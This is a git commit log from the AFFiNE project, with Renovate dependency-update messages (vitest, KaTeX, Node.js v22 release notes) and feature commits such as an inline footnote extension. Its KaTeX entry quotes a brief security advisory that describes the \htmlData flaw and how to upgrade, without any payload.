    -   Long synchronous tasks does not time out  -  by [@&#8203;ferdodo](https://redirect.github.com/ferdodo) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/2920](https://redirect.github.com/vitest-dev/vitest/issues/2920) and [https://github.com/vitest-dev/vitest/issues/6944](https://redirect.github.com/vitest-dev/vitest/issues/6944) [<samp>(2fb58)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2fb585ae)
    -   Mark tests of `describe.todo` as `'todo'`  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7171](https://redirect.github.com/vitest-dev/vitest/issues/7171) [<samp>(1d458)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1d458955)
-   **snapshot**:
    -   Fix "obsolete" message on snapshot update re-run  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7129](https://redirect.github.com/vitest-dev/vitest/issues/7129) [<samp>(c2beb)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c2beb8ca)
    -   Preserve white space of `toMatchFileSnapshot`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7156](https://redirect.github.com/vitest-dev/vitest/issues/7156) [<samp>(a437b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a437b656)
    -   Fix obsoleteness check of `toMatchSnapshot("...")`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7126](https://redirect.github.com/vitest-dev/vitest/issues/7126) [<samp>(ac9ba)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ac9ba151)
-   **typecheck**:
    -   Fix typecheck collect on Vite 6  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6972](https://redirect.github.com/vitest-dev/vitest/issues/6972) [<samp>(7b35d)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7b35d13a)
    -   Use unique temp and tsbuildinfo file for each tsconfig file  -  by [@&#8203;masnormen](https://redirect.github.com/masnormen) in [https://github.com/vitest-dev/vitest/issues/7107](https://redirect.github.com/vitest-dev/vitest/issues/7107) and [https://github.com/vitest-dev/vitest/issues/7112](https://redirect.github.com/vitest-dev/vitest/issues/7112) [<samp>(61b30)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/61b30162)
    -   Fix error test case mapping for `@ts-expect-error`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7125](https://redirect.github.com/vitest-dev/vitest/issues/7125) [<samp>(27d34)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/27d340aa)
-   **types**:
    -   Make parameters non-nullable for Playwright options  -  by [@&#8203;apple-yagi](https://redirect.github.com/apple-yagi) in [https://github.com/vitest-dev/vitest/issues/6989](https://redirect.github.com/vitest-dev/vitest/issues/6989) [<samp>(fe2a1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fe2a187f)
-   **ui**:
    -   Wrong module graph when generating html.meta.json.gz in browser mode  -  by [@&#8203;userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/7214](https://redirect.github.com/vitest-dev/vitest/issues/7214) [<samp>(dccdd)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dccdd550)
    -   Add errors and draft state (\*) to the code editor  -  by [@&#8203;userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/7044](https://redirect.github.com/vitest-dev/vitest/issues/7044) [<samp>(faca4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/faca4de8)
-   **vite-node**:
    -   Fix error stack on Windows  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6786](https://redirect.github.com/vitest-dev/vitest/issues/6786) [<samp>(bf7b3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bf7b36ac)
    -   Properly normalize file url import  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7087](https://redirect.github.com/vitest-dev/vitest/issues/7087) [<samp>(31675)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/31675e3b)
    -   Fix mandatory node prefix  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7179](https://redirect.github.com/vitest-dev/vitest/issues/7179) [<samp>(b6284)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/b6284642)
-   **watch**:
    -   Don't indicate exit when no matching files  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7246](https://redirect.github.com/vitest-dev/vitest/issues/7246) [<samp>(003c0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/003c0bef)
-   **workspace**:
    -   `extends: true` correctly inherits all root config properties  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7232](https://redirect.github.com/vitest-dev/vitest/issues/7232) [<samp>(798c0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/798c0da2)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.8...v3.0.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-18 16:27:22 +00:00
pengx17 f689c2f1fc feat(electron): move @blocksuite/affine to peer dependences for package speed on windows (#9756)
`@blocksuite/affine` is indirectly depended by electron package. It has around 120k files in total and will greatly slow down forge package build speed.
Move them to peer dependencies to mitigate the issue.
2025-01-18 10:16:22 +00:00
fundon 7436c139ab fix(core): improve doc title and icon display (#9755)
Closes: [AF-2132](https://linear.app/affine-design/issue/AF-2132/优化-emoji-title-和-icon-显示)
2025-01-18 17:29:15 +08:00
akumatus d048ac6c91 feat(core): support chat panel chips and suggest current doc for embedding (#9747)
Support issue [BS-2347](https://linear.app/affine-design/issue/BS-2347).

## What Changed?
- Add chat panel components
  - `chat-panel-chips`
  - `chat-panel-doc-chip`
  - `chat-panel-file-chip`
  - `chat-panel-chip`
- Add `chips` and `docs` field in `ChatContextValue`
- Add `extractMarkdownFromDoc` function to extract markdown content of a doc
- Add e2e test

Click a candidate card to add it into AI chat context:
<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/4e6b11ef-f993-4e6a-9f40-b2826af1990c.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/4e6b11ef-f993-4e6a-9f40-b2826af1990c.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/4e6b11ef-f993-4e6a-9f40-b2826af1990c.mov">录屏2025-01-17 01.02.04.mov</video>
2025-01-18 08:35:19 +00:00
renovate 59611fa002 chore: bump up katex version to v0.16.21 [SECURITY] (#9771)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [katex](https://katex.org) ([source](https://redirect.github.com/KaTeX/KaTeX)) | [`0.16.20` -> `0.16.21`](https://renovatebot.com/diffs/npm/katex/0.16.20/0.16.21) | [![age](https://developer.mend.io/api/mc/badges/age/npm/katex/0.16.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/katex/0.16.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/katex/0.16.20/0.16.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/katex/0.16.20/0.16.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

### GitHub Vulnerability Alerts

#### [CVE-2025-23207](https://redirect.github.com/KaTeX/KaTeX/security/advisories/GHSA-cg87-wmx4-v546)

### Impact
KaTeX users who render untrusted mathematical expressions with `renderToString` could encounter malicious input using `\htmlData` that runs arbitrary JavaScript, or generate invalid HTML.

### Patches
Upgrade to KaTeX v0.16.21 to remove this vulnerability.

### Workarounds
- Avoid use of or turn off the `trust` option, or set it to forbid `\htmlData` commands.
- Forbid inputs containing the substring `"\\htmlData"`.
- Sanitize HTML output from KaTeX.

### Details
`\htmlData` did not validate its attribute name argument, allowing it to generate invalid or malicious HTML that runs scripts.

### For more information
If you have any questions or comments about this advisory:

- Open an issue or security advisory in the [KaTeX repository](https://redirect.github.com/KaTeX/KaTeX/)
- Email us at [katex-security@mit.edu](mailto:katex-security@mit.edu)

---

### Release Notes

<details>
<summary>KaTeX/KaTeX (katex)</summary>

### [`v0.16.21`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#01621-2025-01-17)

[Compare Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.20...v0.16.21)

##### Bug Fixes

-   escape \htmlData attribute name ([57914ad](https://redirect.github.com/KaTeX/KaTeX/commit/57914ad91eff401357f44bf364b136d37eba04f8))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-18 08:18:04 +00:00
zzj3720 95c0f59d96 refactor(editor): remove database-service (#9769)
close: BS-2426
2025-01-18 05:36:15 +00:00
L-Sun ad814a0f4f feat(editor): add sidebar service (#9761) 2025-01-17 23:42:50 +08:00
Brooooooklyn 779029148e refactor(server): enhance the Logger usage (#9763) 2025-01-17 12:12:14 +00:00
L-Sun d8727c2001 fix(editor): close embed edit modal on editor unmount (#9765)
Close [BS-2436](https://linear.app/affine-design/issue/BS-2436/should-close-embed-card-edit-modal-after-editor-unmount)

### What Changes:
- fix(editor): close embed edit modal on editor unmount
- test(editor): add test to embed edit modal when switching mode
2025-01-17 11:53:09 +00:00
donteatfriedrice df910d7013 feat(editor): add affine inline footnote (#9745)
[BS-2369](https://linear.app/affine-design/issue/BS-2369/新增-affinetextattribute-footnote)  [BS-2370](https://linear.app/affine-design/issue/BS-2370/支持-footnote-自定义渲染行内内容) [BS-2372](https://linear.app/affine-design/issue/BS-2372/提供-footnoteconfigextension) [BS-2375](https://linear.app/affine-design/issue/BS-2375/footnote-自定义渲染-popup)

### Add new AffineTextAttribute: footnote

```
/**
 * FootNote is used to reference a doc, attachment or url.
 */
export interface AffineTextAttributes {
  ...
  footnote?: {
    label: string; // label of the footnote
    reference: {
      type: 'doc' | 'attachment' | 'url'; // type of reference
      docId?: string; // the id of the reference doc
      url?: string; //  the url of the reference network resource
      blobId?: string; // the id of the reference attachment
      fileName?: string; // the name of the reference attachment
      fileType?: string; // the type of the reference attachment
    }
  } | null
}
```

### FootNoteNodeConfigProvider Extension

#### FootNoteNodeConfig Type Definition

```
type FootNoteNodeRenderer = (
  footnote: FootNote,
  std: BlockStdScope
) => TemplateResult<1>;

type FootNotePopupRenderer = (
  footnote: FootNote,
  std: BlockStdScope,
  abortController: AbortController
) => TemplateResult<1>;

export interface FootNoteNodeConfig {
  customNodeRenderer?: FootNoteNodeRenderer;
  customPopupRenderer?: FootNotePopupRenderer;
  interactive?: boolean;
  hidePopup?: boolean;
}
```

#### FootNoteNodeConfigProvider Class

```
export class FootNoteNodeConfigProvider {
  private _customNodeRenderer?: FootNoteNodeRenderer;
  private _customPopupRenderer?: FootNotePopupRenderer;
  private _hidePopup: boolean;
  private _interactive: boolean;

  get customNodeRenderer() {
    return this._customNodeRenderer;
  }

  get customPopupRenderer() {
    return this._customPopupRenderer;
  }

  get doc() {
    return this.std.store;
  }

  get hidePopup() {
    return this._hidePopup;
  }

  get interactive() {
    return this._interactive;
  }

  constructor(
    config: FootNoteNodeConfig,
    readonly std: BlockStdScope
  ) {
    this._customNodeRenderer = config.customNodeRenderer;
    this._customPopupRenderer = config.customPopupRenderer;
    this._hidePopup = config.hidePopup ?? false;
    this._interactive = config.interactive ?? true;
  }

  setCustomNodeRenderer(renderer: FootNoteNodeRenderer) {
    this._customNodeRenderer = renderer;
  }

  setCustomPopupRenderer(renderer: FootNotePopupRenderer) {
    this._customPopupRenderer = renderer;
  }

  setHidePopup(hidePopup: boolean) {
    this._hidePopup = hidePopup;
  }

  setInteractive(interactive: boolean) {
    this._interactive = interactive;
  }
}
```

#### FootNoteNodeConfigProvider Extension

```
export const FootNoteNodeConfigIdentifier =
  createIdentifier<FootNoteNodeConfigProvider>('AffineFootNoteNodeConfig');

export function FootNoteNodeConfigExtension(
  config: FootNoteNodeConfig
): ExtensionType {
  return {
    setup: di => {
      di.addImpl(
        FootNoteNodeConfigIdentifier,
        provider =>
          new FootNoteNodeConfigProvider(config, provider.get(StdIdentifier))
      );
    },
  };
}
```

The footnote node can be extended by this extension.

### FootnoteInlineSpec

```
export const FootNoteInlineSpecExtension = InlineSpecExtension(
  'footnote',
  provider => {
    const std = provider.get(StdIdentifier);
    const config =
      provider.getOptional(FootNoteNodeConfigIdentifier) ?? undefined;
    return {
      name: 'footnote',
      schema: FootNoteSchema.optional().nullable().catch(undefined),
      match: delta => {
        return !!delta.attributes?.footnote;
      },
      renderer: ({ delta }) => {
        return html`<affine-footnote-node
          .delta=${delta}
          .std=${std}
          .config=${config}
        ></affine-footnote-node>`;
      },
      embed: true,
    };
  }
);
```
2025-01-17 09:38:43 +00:00
CatsJuice 7d1d167858 chore: bump theme (#9732) 2025-01-17 09:22:15 +00:00
zzj3720 aa21ac6d64 refactor(editor): move database selection into the corresponding view (#9752) 2025-01-17 09:03:13 +00:00
renovate 338ccb427b chore: bump up Node.js to v22 (#8625)
This PR contains the following updates:

| Package | Type | Update | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|---|---|
| [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) |  | major | `20.18.1` -> `22.13.0` | [![age](https://developer.mend.io/api/mc/badges/age/node-version/node/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/node-version/node/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/node-version/node/v20.18.1/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/node-version/node/v20.18.1/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | dependencies | major | [`^20.17.10` -> `^22.0.0`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.14/22.10.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.14/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.14/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | devDependencies | major | [`^20.17.10` -> `^22.0.0`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.14/22.10.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.14/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.14/22.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | engines | major | [`<21.0.0` -> `<23.0.0`](https://renovatebot.com/diffs/npm/node/v20.18.1/v22.13.0) | [![age](https://developer.mend.io/api/mc/badges/age/node-version/node/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/node-version/node/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/node-version/node/v20.18.1/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/node-version/node/v20.18.1/v22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [node](https://redirect.github.com/nodejs/node) | final | major | `20-bookworm-slim` -> `22-bookworm-slim` | [![age](https://developer.mend.io/api/mc/badges/age/docker/node/22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/docker/node/22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/docker/node/20.18.1/22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/docker/node/20.18.1/22.13.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nodejs/node (node)</summary>

### [`v22.13.0`](https://redirect.github.com/nodejs/node/compare/v22.12.0...v22.13.0)

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.12.0...v22.13.0)

### [`v22.12.0`](https://redirect.github.com/nodejs/node/compare/v22.11.0...v22.12.0)

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.11.0...v22.12.0)

### [`v22.11.0`](https://redirect.github.com/nodejs/node/compare/v22.10.0...v22.11.0)

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.10.0...v22.11.0)

### [`v22.10.0`](https://redirect.github.com/nodejs/node/releases/tag/v22.10.0): 2024-10-16, Version 22.10.0 (Current), @&#8203;aduh95

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.9.0...v22.10.0)

##### Notable Changes

##### New `"module-sync"` exports condition

This release introduces a `"module-sync"` exports condition that's enabled when
`require(esm)` is enabled, so packages can supply a synchronous ES module to the
Node.js module loader, no matter if it's being required or imported. This is
similar to the `"module"` condition that bundlers have been using to support
`require(esm)` in Node.js, and allows dual-package authors to opt into ESM-first
only on newer versions of Node.js that supports `require(esm)` to avoid the
dual-package hazard.

```json
{
  "type": "module",
  "exports": {
    "node": {
      // On new version of Node.js, both require() and import get
      // the ESM version
      "module-sync": "./index.js",
      // On older version of Node.js, where "module-sync" and require(esm) are
      // not supported, use the CJS version to avoid dual-package hazard.
      // When package authors think it's time to drop support for older versions of
      // Node.js, they can remove the exports conditions and just use "main": "index.js".
      "default": "./dist/index.cjs"
    },
    // On any other environment, use the ESM version.
    "default": "./index.js"
  }
}
```

Or if the package is only meant to be run on Node.js and wants to fallback to
CJS on older versions that don't have `require(esm)`:

```json
{
  "type": "module",
  "exports": {
    // On new version of Node.js, both require() and import get the ESM version
    "module-sync": "./index.js",
    // On older version of Node.js, where "module-sync" and require(esm) are
    // not supported, use the CJS version to avoid dual-package hazard.
    // When package authors think it's time to drop support for older versions of
    // Node.js, they can remove the exports conditions and just use "main": "index.js".
    "default": "./dist/index.cjs"
  }
}
```

**For package authors**: this only serves as a feature-detection mechanism for
packages that wish to support both CJS and ESM users during the period when some
active Node.js LTS versions support  `require(esm)` while some older ones don't.
When all active Node.js LTS lines support `require(esm)`, packages can simplify
their distributions by bumping the major version, dropping their CJS exports,
and removing the `module-sync` exports condition (with only `main` or `default`
targetting the ESM exports). If the package needs to support both bundlers and
being run unbundled on Node.js during the transition period, use both
`module-sync` and `module` and point them to the same ESM file. If the package
already doesn't want to support older versions of Node.js that doesn't support
`require(esm)`, don't use this export condition.

**For bundlers/tools**: they should avoid implementing this stop-gap condition.
Most existing bundlers implement the de-facto bundler standard
[`module`](https://webpack.js.org/guides/package-exports/#providing-commonjs-and-esm-version-stateless)
exports condition, and that should be enough to support users who want to bundle
ESM from CJS consumers. Users who want both bundlers and Node.js to recognize
the ESM exports can use both `module`/`module-sync` conditions during the
transition period, and can drop `module-sync`+`module` when they no longer need
to support older versions of Node.js. If tools do want to support this
condition, it's recommended to make the resolution rules in the graph pointed by
this condition match the Node.js native ESM rules to avoid divergence.

We ended up implementing a condition with a different name instead of reusing
`"module"`, because existing code in the ecosystem using the `"module"`
condition sometimes also expect the module resolution for these ESM files to
work in CJS style, which is supported by bundlers, but the native Node.js loader
has intentionally made ESM resolution different from CJS resolution (e.g.
forbidding `import './noext'` or `import './directory'`), so it would be
breaking to implement a `"module"` condition without implementing the forbidden
ESM resolution rules. For now, this just implements a new condition as
semver-minor so it can be backported to older LTS.

Contributed by Joyee Cheung in [#&#8203;54648](https://redirect.github.com/nodejs/node/pull/54648).

##### `node --run` is now stable

This CLI flag runs a specified command from a `package.json`'s `"scripts"` object.

For the following `package.json`:

```json
{
  "scripts": {
    "test": "node --test-reporter junit --test ./test"
  }
}
```

You can run `node --run test` and that would start the test suite.

Contributed by Yagiz Nizipli in [#&#8203;53763](https://redirect.github.com/nodejs/node/pull/53763).

##### Other notable changes

-   \[[`f0b441230a`](https://redirect.github.com/nodejs/node/commit/f0b441230a)] - **(SEMVER-MINOR)** **crypto**: add `KeyObject.prototype.toCryptoKey` (Filip Skokan) [#&#8203;55262](https://redirect.github.com/nodejs/node/pull/55262)
-   \[[`349d2ed07b`](https://redirect.github.com/nodejs/node/commit/349d2ed07b)] - **(SEMVER-MINOR)** **crypto**: add Date fields for `validTo` and `validFrom` (Andrew Moon) [#&#8203;54159](https://redirect.github.com/nodejs/node/pull/54159)
-   \[[`bebc95ed58`](https://redirect.github.com/nodejs/node/commit/bebc95ed58)] - **doc**: add abmusse to collaborators (Abdirahim Musse) [#&#8203;55086](https://redirect.github.com/nodejs/node/pull/55086)
-   \[[`914db60159`](https://redirect.github.com/nodejs/node/commit/914db60159)] - **(SEMVER-MINOR)** **http2**: expose `nghttp2_option_set_stream_reset_rate_limit` as an option (Maël Nison) [#&#8203;54875](https://redirect.github.com/nodejs/node/pull/54875)
-   \[[`f7c3b03759`](https://redirect.github.com/nodejs/node/commit/f7c3b03759)] - **(SEMVER-MINOR)** **lib**: propagate aborted state to dependent signals before firing events (jazelly) [#&#8203;54826](https://redirect.github.com/nodejs/node/pull/54826)
-   \[[`32261fc98a`](https://redirect.github.com/nodejs/node/commit/32261fc98a)] - **(SEMVER-MINOR)** **module**: support loading entrypoint as url (RedYetiDev) [#&#8203;54933](https://redirect.github.com/nodejs/node/pull/54933)
-   \[[`06957ff355`](https://redirect.github.com/nodejs/node/commit/06957ff355)] - **(SEMVER-MINOR)** **module**: implement `flushCompileCache()` (Joyee Cheung) [#&#8203;54971](https://redirect.github.com/nodejs/node/pull/54971)
-   \[[`2dcf70c347`](https://redirect.github.com/nodejs/node/commit/2dcf70c347)] - **(SEMVER-MINOR)** **module**: throw when invalid argument is passed to `enableCompileCache()` (Joyee Cheung) [#&#8203;54971](https://redirect.github.com/nodejs/node/pull/54971)
-   \[[`f9b19d7c44`](https://redirect.github.com/nodejs/node/commit/f9b19d7c44)] - **(SEMVER-MINOR)** **module**: write compile cache to temporary file and then rename it (Joyee Cheung) [#&#8203;54971](https://redirect.github.com/nodejs/node/pull/54971)
-   \[[`e95163b170`](https://redirect.github.com/nodejs/node/commit/e95163b170)] - **(SEMVER-MINOR)** **process**: add `process.features.require_module` (Joyee Cheung) [#&#8203;55241](https://redirect.github.com/nodejs/node/pull/55241)
-   \[[`4050f68e5d`](https://redirect.github.com/nodejs/node/commit/4050f68e5d)] - **(SEMVER-MINOR)** **process**: add `process.features.typescript` (Aviv Keller) [#&#8203;54295](https://redirect.github.com/nodejs/node/pull/54295)
-   \[[`86f7cb802d`](https://redirect.github.com/nodejs/node/commit/86f7cb802d)] - **(SEMVER-MINOR)** **test_runner**: support custom arguments in `run()` (Aviv Keller) [#&#8203;55126](https://redirect.github.com/nodejs/node/pull/55126)
-   \[[`b62f2f8259`](https://redirect.github.com/nodejs/node/commit/b62f2f8259)] - **(SEMVER-MINOR)** **test_runner**: add `'test:summary'` event (Colin Ihrig) [#&#8203;54851](https://redirect.github.com/nodejs/node/pull/54851)
-   \[[`d7c708aec5`](https://redirect.github.com/nodejs/node/commit/d7c708aec5)] - **(SEMVER-MINOR)** **test_runner**: add support for coverage via `run()` (Chemi Atlow) [#&#8203;53937](https://redirect.github.com/nodejs/node/pull/53937)
-   \[[`5fda4a1498`](https://redirect.github.com/nodejs/node/commit/5fda4a1498)] - **(SEMVER-MINOR)** **worker**: add `markAsUncloneable` api (Jason Zhang) [#&#8203;55234](https://redirect.github.com/nodejs/node/pull/55234)

##### Commits

-   \[[`e3619510c8`](https://redirect.github.com/nodejs/node/commit/e3619510c8)] - **assert**: show the diff when deep comparing data with a custom message (Giovanni) [#&#8203;54759](https://redirect.github.com/nodejs/node/pull/54759)
-   \[[`39c7a9e70c`](https://redirect.github.com/nodejs/node/commit/39c7a9e70c)] - **benchmark**: adjust config for deepEqual object (Rafael Gonzaga) [#&#8203;55254](https://redirect.github.com/nodejs/node/pull/55254)
-   \[[`263526d5d0`](https://redirect.github.com/nodejs/node/commit/263526d5d0)] - **benchmark**: rewrite detect-esm-syntax benchmark (Joyee Cheung) [#&#8203;55238](https://redirect.github.com/nodejs/node/pull/55238)
-   \[[`cd0795fb00`](https://redirect.github.com/nodejs/node/commit/cd0795fb00)] - **benchmark**: add no-warnings to process.has bench (Rafael Gonzaga) [#&#8203;55159](https://redirect.github.com/nodejs/node/pull/55159)
-   \[[`4352d9cc31`](https://redirect.github.com/nodejs/node/commit/4352d9cc31)] - **benchmark**: create benchmark for typescript (Marco Ippolito) [#&#8203;54904](https://redirect.github.com/nodejs/node/pull/54904)
-   \[[`452bc9b48d`](https://redirect.github.com/nodejs/node/commit/452bc9b48d)] - **benchmark**: add webstorage benchmark (jakecastelli) [#&#8203;55040](https://redirect.github.com/nodejs/node/pull/55040)
-   \[[`d4d5ba3a9b`](https://redirect.github.com/nodejs/node/commit/d4d5ba3a9b)] - **benchmark**: include ascii to fs/readfile (Rafael Gonzaga) [#&#8203;54988](https://redirect.github.com/nodejs/node/pull/54988)
-   \[[`23b628db65`](https://redirect.github.com/nodejs/node/commit/23b628db65)] - **benchmark**: add dotenv benchmark (Aviv Keller) [#&#8203;54278](https://redirect.github.com/nodejs/node/pull/54278)
-   \[[`b1ebb0d8ca`](https://redirect.github.com/nodejs/node/commit/b1ebb0d8ca)] - **buffer**: coerce extrema to int in `blob.slice` (Antoine du Hamel) [#&#8203;55141](https://redirect.github.com/nodejs/node/pull/55141)
-   \[[`3a6e72483f`](https://redirect.github.com/nodejs/node/commit/3a6e72483f)] - **buffer**: extract Blob's .arrayBuffer() & webidl changes (Matthew Aitken) [#&#8203;53372](https://redirect.github.com/nodejs/node/pull/53372)
-   \[[`d109f1c4ff`](https://redirect.github.com/nodejs/node/commit/d109f1c4ff)] - **buffer**: use simdutf convert_latin1\_to_utf8\_safe (Robert Nagy) [#&#8203;54798](https://redirect.github.com/nodejs/node/pull/54798)
-   \[[`77f8a3f9c2`](https://redirect.github.com/nodejs/node/commit/77f8a3f9c2)] - **build**: fix notify-on-review-wanted action (Rafael Gonzaga) [#&#8203;55304](https://redirect.github.com/nodejs/node/pull/55304)
-   \[[`0d93b1ed0c`](https://redirect.github.com/nodejs/node/commit/0d93b1ed0c)] - **build**: fix not valid json in coverage (jakecastelli) [#&#8203;55179](https://redirect.github.com/nodejs/node/pull/55179)
